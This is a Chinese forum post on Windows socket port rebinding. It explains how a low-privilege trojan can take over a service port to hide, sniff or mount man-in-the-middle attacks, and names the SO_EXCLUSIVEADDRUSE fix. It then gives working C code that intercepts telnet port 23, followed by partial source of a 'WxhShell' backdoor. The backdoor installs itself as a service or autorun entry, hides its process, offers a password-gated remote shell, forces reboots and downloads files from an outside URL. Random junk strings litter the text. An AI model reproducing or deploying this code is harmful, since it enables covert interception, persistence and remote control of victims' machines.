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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: \(A>~D8Fo  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1`)R#$h  
7"S|GEs:  
  saddr.sin_family = AF_INET; oF3#]6`;/  
m\k$L7O  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "+AeqrYYm5  
]9x30UXLwD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RSkpf94`  
-'I)2/%g  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,Wdyg8&.  
lOE bh  
  这意味着什么?意味着可以进行如下的攻击: 20Rgw  
2xjS;lpw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z#-&MJ  
ao,LP,_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) zPVA6~|l  
GEvif4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2[:`w),.  
#ob">R  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .lE"N1  
AU7c = H:?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IYj-cm  
U}{r.MryFG  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }LE/{]A  
wv*r}{%7g[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2R1W[,Ga!  
WM"I r1  
  #include *D9QwQ _|  
  #include uS&bfx2  
  #include 5ax/jd~}  
  #include     a1j 6-p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3|~(9b{+  
  int main() apYf,"|9  
  { 1ITa6vjS  
  WORD wVersionRequested; ,0 ])]  
  DWORD ret; %f>V\z_C  
  WSADATA wsaData; PgxU;N7Y  
  BOOL val; L>PpXTWwy  
  SOCKADDR_IN saddr; 3_D$6/i  
  SOCKADDR_IN scaddr; C f<,\Aav  
  int err; 3L;)asF  
  SOCKET s; .]jKuTC\<  
  SOCKET sc; J M`uIVnNA  
  int caddsize; 0{jRXa-(  
  HANDLE mt; Nlo*vu  
  DWORD tid;   <vPIC G)  
  wVersionRequested = MAKEWORD( 2, 2 ); Ddu$49{S:  
  err = WSAStartup( wVersionRequested, &wsaData ); rfK%%-  
  if ( err != 0 ) { Nc]]e+N#V  
  printf("error!WSAStartup failed!\n"); u9?85  
  return -1; 4w\')@`[jk  
  } g~`UC  
  saddr.sin_family = AF_INET; p;C`n)7P7  
   ;[*7UE+#7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WJhI6lu  
4sG^ bZ,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gB&'MA!  
  saddr.sin_port = htons(23); O1-Ne.$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4|*_mC  
  { \.}* s]6  
  printf("error!socket failed!\n"); dhV =;'   
  return -1; uWgY+T  
  } k%.IIVRx  
  val = TRUE; whD%Oz*f  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 (B[0BjU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *)"`v]  
  { rs<UWk<q  
  printf("error!setsockopt failed!\n"); I]zCsT.  
  return -1; 5B"j\TwQ  
  } v k<By R  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I=. 98v%  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )5p0fw  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L0Xb^vx}m  
# Z8<H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) A5 /Q:8b  
  { :Oy9`vv  
  ret=GetLastError(); eB5; wH  
  printf("error!bind failed!\n"); z$S)|6Q  
  return -1; iN=-N=  
  } m+,a=sR  
  listen(s,2); ~%>ke  
  while(1) BgUf:PT  
  { uh@ZHef[l  
  caddsize = sizeof(scaddr); td%EbxJK]`  
  //接受连接请求 -Y;(yTtz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); P>Pw;[b>O  
  if(sc!=INVALID_SOCKET) D1#fy=u69|  
  { p 0R)Yc+;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c]#F^(-A`  
  if(mt==NULL) \M<C6m5  
  { ':6`M  
  printf("Thread Creat Failed!\n"); #r>  
  break; r +d%*Dx  
  } I6X_DPY  
  } z-ra]  
  CloseHandle(mt); [3}m|W<  
  } E2+O-;VN  
  closesocket(s); #]cO] I  
  WSACleanup(); FK{Vnj0  
  return 0; p^<*v8,~7  
  }   Jvgx+{Xu  
  DWORD WINAPI ClientThread(LPVOID lpParam) aF]4%E  
  { +?DP r  
  SOCKET ss = (SOCKET)lpParam; {p=`"H>  
  SOCKET sc; Wz;7 |UC  
  unsigned char buf[4096]; J7c(qGJI2  
  SOCKADDR_IN saddr; 3E) X(WJY  
  long num; Z vM~]8m  
  DWORD val; M4~^tML>Ey  
  DWORD ret; )E;B'^RVR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L9W'TvTwo  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NI,i)OSEN  
  saddr.sin_family = AF_INET; w|lA%H7`J  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O3 x9S,1i  
  saddr.sin_port = htons(23); a9}7K/Y=d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) nc4KeEl  
  { ga%gu9  
  printf("error!socket failed!\n"); iGlg@  
  return -1; `bY>f_5+  
  } KP,#x$Bg  
  val = 100; avxr|uk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KxhMPvN'  
  { <$metN~9j  
  ret = GetLastError(); d< j+a1&  
  return -1; -Ri/I4Xj  
  } "tdF#>x  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) AAuH}W>n  
  { z_nv|5"  
  ret = GetLastError(); rr~O6Db  
  return -1; "{>BP$Jz  
  } vLCyT=OB`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) icS% ])3LF  
  { ]L)l5@5^  
  printf("error!socket connect failed!\n"); .6C9N{?Tqf  
  closesocket(sc); B6UTooj  
  closesocket(ss); 2PZ#w(An&  
  return -1; gV~_m  
  } 5NGQWg  
  while(1) FWC\(f  
  { ]WFr5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1z IX $A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 kZ5;Fe\*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `O,^oD4  
  num = recv(ss,buf,4096,0); HD%n'@E  
  if(num>0) }ZqnsLu[)  
  send(sc,buf,num,0); pz4lC=H%o  
  else if(num==0) aoqG*qh}b  
  break; vd{ban9  
  num = recv(sc,buf,4096,0); n Nu~)X  
  if(num>0) D*0[7:NSO  
  send(ss,buf,num,0); kLE("I:7  
  else if(num==0) uE &/:+  
  break; H^ds<I<)  
  } {HO,d{{  
  closesocket(ss); E|_J  
  closesocket(sc); unvS`>)Np  
  return 0 ; v]h^0WU  
  } "50 c<sZSB  
dp}s]`x+  
N++ ;}j  
========================================================== yOTC>?p%  
He9Er  
下边附上一个代码,,WXhSHELL 0?,<7}"<X  
M!R=&a=Z  
========================================================== 9ERyr1-u v  
PRal>s&f  
#include "stdafx.h" ls({{34NF  
MX 7 Y1  
#include <stdio.h> `(uN_zvH  
#include <string.h> 6c6w w"  
#include <windows.h> ZHM NG~!  
#include <winsock2.h> %w#z   
#include <winsvc.h> FJD;LpW  
#include <urlmon.h> `T,^os#6  
oL U!x  
#pragma comment (lib, "Ws2_32.lib") 1<G,0Lt  
#pragma comment (lib, "urlmon.lib") f4;V7DJ  
f = 'AI  
#define MAX_USER   100 // 最大客户端连接数 " M3S  
#define BUF_SOCK   200 // sock buffer J?Bj=b  
#define KEY_BUFF   255 // 输入 buffer L[voouaqm  
fl8eNi E|  
#define REBOOT     0   // 重启 ku)/ 8Z`$  
#define SHUTDOWN   1   // 关机 "_0sW3rG  
SFjRSMi  
#define DEF_PORT   5000 // 监听端口 Df@b;-E  
$9@3dM*E?Z  
#define REG_LEN     16   // 注册表键长度 9 K>~9Za  
#define SVC_LEN     80   // NT服务名长度 G:!3X)b  
#AH gY.  
// 从dll定义API kq*IC&y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Gvl,M\c9-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R8>17w.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Mtaky=l8~I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [(; .D  
e$`;z%6y  
// wxhshell配置信息 e7yn"kd  
struct WSCFG { D}rnp wp{  
  int ws_port;         // 监听端口 KwY6pF*  
  char ws_passstr[REG_LEN]; // 口令 YF(bl1>YC  
  int ws_autoins;       // 安装标记, 1=yes 0=no zmg :Z p=  
  char ws_regname[REG_LEN]; // 注册表键名 0HI0/Tvu$<  
  char ws_svcname[REG_LEN]; // 服务名 =, 64Qbau  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4D[(X=FSU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8iPA^b|sz{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &8dj*!4H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S;SI#Vg@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h ^Wm03w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N97WI+`  
-sx=1+\nf  
}; g*WY kv  
'#Q\p6G&_  
// default Wxhshell configuration ;ykX]5jGh  
struct WSCFG wscfg={DEF_PORT, I K,aA;d  
    "xuhuanlingzhe", r.' cjUs  
    1, |[@v+koq  
    "Wxhshell", <Q8d{--o  
    "Wxhshell", u yoV)  
            "WxhShell Service", V8 G.KA "  
    "Wrsky Windows CmdShell Service", ?s]?2>p  
    "Please Input Your Password: ", nFjaV`6`@  
  1, 7WHq'R{@  
  "http://www.wrsky.com/wxhshell.exe", h$d`Jmaq  
  "Wxhshell.exe" POQ4&ChA  
    }; Dc3bG@K*G  
${tBu#$-d  
// 消息定义模块 l M a||  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |H%,>r`9S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; CtHsi8m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }0 Fu  
char *msg_ws_ext="\n\rExit."; X CHN'l'  
char *msg_ws_end="\n\rQuit."; ]x@36Ok)A  
char *msg_ws_boot="\n\rReboot..."; yW;]J8 7*  
char *msg_ws_poff="\n\rShutdown..."; iwfH~  
char *msg_ws_down="\n\rSave to "; ~,{nBp9*  
wx^1lC2  
char *msg_ws_err="\n\rErr!"; QaLVIsnfN  
char *msg_ws_ok="\n\rOK!"; #VuiY  
 s-S|#5  
char ExeFile[MAX_PATH]; [?n}?0  
int nUser = 0; Cdc=1,U(  
HANDLE handles[MAX_USER]; uXdR-@80*  
int OsIsNt; QKh vP>  
cN7|Zsc\  
SERVICE_STATUS       serviceStatus; m$bNQ7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Gu%}B@4^  
wTn"  
// 函数声明 8'0KHn{#  
int Install(void); `3vt.b  
int Uninstall(void); mk +BeK  
int DownloadFile(char *sURL, SOCKET wsh); b$}@0  
int Boot(int flag); +|Mi lwr  
void HideProc(void); ETaLE[T%1  
int GetOsVer(void); gX]'RBTb  
int Wxhshell(SOCKET wsl); l_ycB%2e^  
void TalkWithClient(void *cs); M!iYj+nrP  
int CmdShell(SOCKET sock); #po}Y  
int StartFromService(void); !}Ty"p`  
int StartWxhshell(LPSTR lpCmdLine); xcN >L  
EYU3Pl%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X-5&c$hv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \E,Fe:/g  
,8@U-7f,  
// 数据结构和表定义 K[i|OZWu  
SERVICE_TABLE_ENTRY DispatchTable[] = d+g+ {p>?  
{ } mEsb?  
{wscfg.ws_svcname, NTServiceMain}, @Ke3kLQ_\X  
{NULL, NULL} /-1 F9  
}; S)*!jI  
!J+< M~o}  
// 自我安装 &;oWmmvz{  
int Install(void) D(Yq<%Q  
{ =#{i;CC%  
  char svExeFile[MAX_PATH]; df!n.&\y!  
  HKEY key; fAV=O%^  
  strcpy(svExeFile,ExeFile); ;Z}V}B  
_z \PVTT  
// 如果是win9x系统,修改注册表设为自启动 BW%"]J  
if(!OsIsNt) { #zc{N"!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 06vxsT@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]0)=0pc]E  
  RegCloseKey(key); ,a?$F1Z-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6WX+p3Kv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #[ hJm'G  
  RegCloseKey(key); F#$[jh$  
  return 0; j%OnLTZ  
    } Gv zw=~8  
  } -4'yC_8t  
} z'ZGN{L  
else { XxEKv=_bc  
>L>t$1hXM  
// 如果是NT以上系统,安装为系统服务 rWMG_eP:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J2adA9R/,  
if (schSCManager!=0) 8k`rj;  
{ j{u! /FD  
  SC_HANDLE schService = CreateService kKR Z79"7s  
  ( zE\@x+k.  
  schSCManager, QGV~Y+  
  wscfg.ws_svcname, ~#jD/  
  wscfg.ws_svcdisp, T'nQj<dBt:  
  SERVICE_ALL_ACCESS, 4`#3p@-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G\:^9!nwY~  
  SERVICE_AUTO_START, 0 SeDBs  
  SERVICE_ERROR_NORMAL, C) "|sG  
  svExeFile, 0qrsf!  
  NULL, fUg I*V  
  NULL, #D&]5"0cX  
  NULL, *PjW,   
  NULL, YaDr.?  
  NULL (C EXPf  
  ); ^?)o,djY&  
  if (schService!=0) ) b vZ~t+^  
  { <H)I06];  
  CloseServiceHandle(schService); #}rv)  
  CloseServiceHandle(schSCManager); GKNH{|B$D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A+lP]Oy0S  
  strcat(svExeFile,wscfg.ws_svcname); -S"$S16D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tj_+0J$sw:  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); n)7olP0p  
  RegCloseKey(key); ,Si23S\  
  return 0; N3Jfp3_b@  
    } <([1(SY2e  
  } AZCbUkq  
  CloseServiceHandle(schSCManager); )MKzAAt~  
} =-c"~4  
} `_6!nk q8  
ddMSiwbY)  
return 1; ^p0BeSRiy;  
} 4u zyU_  
pA*cF!tq 7  
// 自我卸载 8h#/b1\  
int Uninstall(void) E(e'qL  
{ I =t{ u;  
  HKEY key; xrK%3nA4s"  
|"Js iT  
if(!OsIsNt) { ~$N%UQn?b#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9LkP*$2"M<  
  RegDeleteValue(key,wscfg.ws_regname); P{eL;^I  
  RegCloseKey(key); ,?+rM ;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VR>;{>~  
  RegDeleteValue(key,wscfg.ws_regname); PEPBnBA&1  
  RegCloseKey(key); hN6j5.x%  
  return 0; T3o}%wGW  
  } )j40hrR  
} L_.BcRy  
} LX e{  
else { K YFumR  
X$zlR) Re  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Dq!Vo;s2  
if (schSCManager!=0) &WIiw$@  
{ +'H_sMmi{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5A:mu+Iz6H  
  if (schService!=0) 9d4PH  
  { 32=Gq5pOc  
  if(DeleteService(schService)!=0) { ?L$ Dk5-W  
  CloseServiceHandle(schService); t)LD-%F  
  CloseServiceHandle(schSCManager); j(!M  
  return 0; kmM1)- v  
  } &j,rq?eh$  
  CloseServiceHandle(schService); a[:0<Ek  
  } 0+0+%#?  
  CloseServiceHandle(schSCManager); bIP{DxKS  
} gRuNC=sR  
} :luVsQ  
h#?L6<*tm  
return 1;  M SU|T  
} 1O1/P,u+  
I_J;/!l=  
// 从指定url下载文件 maLKUSgo  
int DownloadFile(char *sURL, SOCKET wsh) r>S?,qr  
{ T^8t<S@`  
  HRESULT hr; aE6 I|6W?  
char seps[]= "/"; NaSgK  
char *token; .N8AkQ(Ok  
char *file; tFL/zqgm  
char myURL[MAX_PATH]; sn&y;Vc[$  
char myFILE[MAX_PATH]; (bi}?V*  
1Tf"<D p  
strcpy(myURL,sURL); ow*) 1eo  
  token=strtok(myURL,seps); 4;_{*U-  
  while(token!=NULL) , gk49z9  
  { *z`_U]tP  
    file=token; [K;J#0V+&L  
  token=strtok(NULL,seps); Qj? +R F6(  
  } ua*k{0[  
JS r& S[  
GetCurrentDirectory(MAX_PATH,myFILE); 0&Q-y&$7  
strcat(myFILE, "\\"); n'{cU(  
strcat(myFILE, file); [!4p5;  
  send(wsh,myFILE,strlen(myFILE),0); 0.C y4sH'  
send(wsh,"...",3,0);  Q0' xn  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yHl1:cf(y  
  if(hr==S_OK) }<o.VY&;.  
return 0; W XDl\*n  
else &a%|L=FY  
return 1; $*^Ms>Pa_  
YYHtd,0\+  
} 40N8?kQ}?  
D\]gIXg  
// 系统电源模块 `3^ *K/K\  
int Boot(int flag) D)XF@z;  
{ *{8K b>D  
  HANDLE hToken; VS<E?JnbFV  
  TOKEN_PRIVILEGES tkp; 9S@PY_ms  
t\E#8  
  if(OsIsNt) { twU^ewO&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r k;k:<c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D ::),,  
    tkp.PrivilegeCount = 1; b[Sd$ACd  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $-m@cObw!.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y;d$x}dh  
if(flag==REBOOT) { =4uL1[0'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) BpZE  
  return 0; :zZK%} G<  
} ~~k_A|&  
else { DVt;I$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6U6,Wu  
  return 0; %4Cs c  
} E&P'@'Yk  
  } 5mUHk]W  
  else { -hw^3Af  
if(flag==REBOOT) { UVlD]oXKh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7N,E%$QL  
  return 0; :@{(^}N8u  
} &{NN!X  
else { \\XvVi:B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Yo3my>N&g  
  return 0; P:vAU8d>  
} Meo(|U  
} oBiJiPE=`  
Y~#m-y  
return 1; _0ki19rs  
} }#5V t  
hRTw8-wy:  
// win9x进程隐藏模块 hu0z):>y  
void HideProc(void) n@  lf+  
{ F7lhLly  
:["iBrFp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F8mS5oB|^  
  if ( hKernel != NULL ) gKoB)n<[  
  { <VI.A" Qk~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZN#mu]jC?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Wsya:9|  
    FreeLibrary(hKernel);  PNY"Lqj  
  } ekC 1wN l  
&7_xr.c7  
return; 2#LTd{  
} dPZrX{ c  
4\ R2\  
// 获取操作系统版本  #v+ 2W  
int GetOsVer(void) l =~EweuM  
{ Vc0C@*fVM  
  OSVERSIONINFO winfo; ci*rem  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Z6C!-a  
  GetVersionEx(&winfo); tb36c<U-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) c-1,((p  
  return 1; D*.U?  
  else __N< B5E  
  return 0; 3NU{7,F  
} &iR3]FNI  
-{[5P!  
// 客户端句柄模块 e>z   
int Wxhshell(SOCKET wsl) (%.[MilxPM  
{ QS(aA*D  
  SOCKET wsh;  %f3qCN  
  struct sockaddr_in client; CqK&J /8  
  DWORD myID; `o|Y5wQ@  
}#%3y&7M7  
  while(nUser<MAX_USER) $>^DkrOd  
{ NMJX `  
  int nSize=sizeof(client); tNpBRk(}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  ;;>hWAS  
  if(wsh==INVALID_SOCKET) return 1; Y$JGpeq8w  
y2Eq-Ie  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xa o*h(Q@L  
if(handles[nUser]==0) Z*uv~0a>9Q  
  closesocket(wsh); h[eC i  
else })#VO-J  
  nUser++; o>4mkh[3  
  } >Sc)?[H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b0X<)1O  
'k^d-Mh>h  
  return 0; S7oPdzcU-  
} S+wy^x@@  
8w4-Ud*$i  
// 关闭 socket .+ezcG4q  
void CloseIt(SOCKET wsh) LAs#g||M  
{ /%&Kbd  
closesocket(wsh); v@,n]"  
nUser--; XotiKCk|Aq  
ExitThread(0); M~/Pk7CC  
} 1`6kc9f.  
tL#~U2K  
// 客户端请求句柄 |)TI&T;k  
void TalkWithClient(void *cs) ^Pwtu  
{ S7!+8$2mc_  
dw*PjIB9x  
  SOCKET wsh=(SOCKET)cs; q8Jhs7fv  
  char pwd[SVC_LEN]; ,5*Z<[*  
  char cmd[KEY_BUFF]; ) |t;nK,  
char chr[1]; IvZ,|R?  
int i,j; 7C;oMh5  
YL?2gBT  
  while (nUser < MAX_USER) { d9=i{i3  
{UeS_O>(  
if(wscfg.ws_passstr) { jm ORKX+)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q g2 fTe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $Wy(Wtrx|  
  //ZeroMemory(pwd,KEY_BUFF); lwSZ pS  
      i=0; /]1$Soo  
  while(i<SVC_LEN) { oMNt676  
s!IX3rz  
  // 设置超时 kJ'rtz4QO  
  fd_set FdRead; #Vy8<Vy&w  
  struct timeval TimeOut; 4 EE7gkM5  
  FD_ZERO(&FdRead); ~:krJ[=  
  FD_SET(wsh,&FdRead); u+7S/9q8  
  TimeOut.tv_sec=8; !{1;wC(b  
  TimeOut.tv_usec=0; c1ga{c`Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); K0aT(Rc e  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Vi m::  
Iwx~kvz\_(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]Y3NmL  
  pwd=chr[0]; P:#KBF;a  
  if(chr[0]==0xd || chr[0]==0xa) { mOC<a7#  
  pwd=0; @?2ES@G+Ji  
  break; eae`#>XP  
  } c 8t  
  i++; 5r1u_8)'  
    } =vs]Kmm  
Z g.La<#  
  // 如果是非法用户,关闭 socket d=nv61]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $2E&~W %  
} h/oC9?v  
V/&JArW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5La' I7q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5O%?J-Hp  
V8hmfV~=]P  
while(1) { >Jk]=_%  
'NNfzh  
  ZeroMemory(cmd,KEY_BUFF); aGAeRF  
)61X,z  
      // 自动支持客户端 telnet标准   PX- PVW  
  j=0; 4%$#   
  while(j<KEY_BUFF) { L,O.XR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q4T98s2J  
  cmd[j]=chr[0]; hHk9O?  
  if(chr[0]==0xa || chr[0]==0xd) { Xqy9D ZIn  
  cmd[j]=0; gX|We}H  
  break; vlqL  
  } g)1`A 24  
  j++; 5S*aZ1t18  
    } der\"?_.  
"x0/i?pqa  
  // 下载文件 Q*N{3G!  
  if(strstr(cmd,"http://")) { 5c\dm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m%cwhH_B  
  if(DownloadFile(cmd,wsh)) e-Z ul.m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #OlPnP2  
  else 5uX-onP\[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x }@P  
  } .*X=JFxl  
  else { Mi} .  
kIR/.Ij}  
    switch(cmd[0]) { |va^lT  
  CB0p2WS_  
  // 帮助 v~A*?WU;n  
  case '?': { 9>@Vk vpY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W2&(:C8V@  
    break; u` ;P^t5  
  } a%2K,.J  
  // 安装 ,u=+%6b)A  
  case 'i': { q?qH7={,eu  
    if(Install()) N F,<^ u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F/cA tT.M?  
    else :Y|[?;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W9QVfe#s  
    break; .^6yCs5~`  
    } SZUo RWx  
  // 卸载 3lTnfc&  
  case 'r': { L_tjclk0J  
    if(Uninstall()) DKF` xuJP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CFUn1^?0  
    else #;= sJ[m4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sf*gAwnW  
    break; x!6<7s  
    } ,n2"N5{jw  
  // 显示 wxhshell 所在路径 * ,zrg%8  
  case 'p': { B3<sSe8L0  
    char svExeFile[MAX_PATH]; =Qf{  
    strcpy(svExeFile,"\n\r"); T!I3.  
      strcat(svExeFile,ExeFile); pekNBq Wm  
        send(wsh,svExeFile,strlen(svExeFile),0); [C\B2iU7_M  
    break; [FZq'E"87  
    } -Jf}3$Ra  
  // 重启 f40OVT@g  
  case 'b': { ^#XQ2UN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H>Ucmd;ay  
    if(Boot(REBOOT)) OIIA^QyV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <'QI_mP*  
    else { ROXa/  
    closesocket(wsh); ]V)*WP#a  
    ExitThread(0); e<qfM&*  
    } o7 0] F  
    break; ^ FM  
    } Y^nm{;G+  
  // 关机 yzMGZi`ut  
  case 'd': { sm;kg=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +* j8[sz  
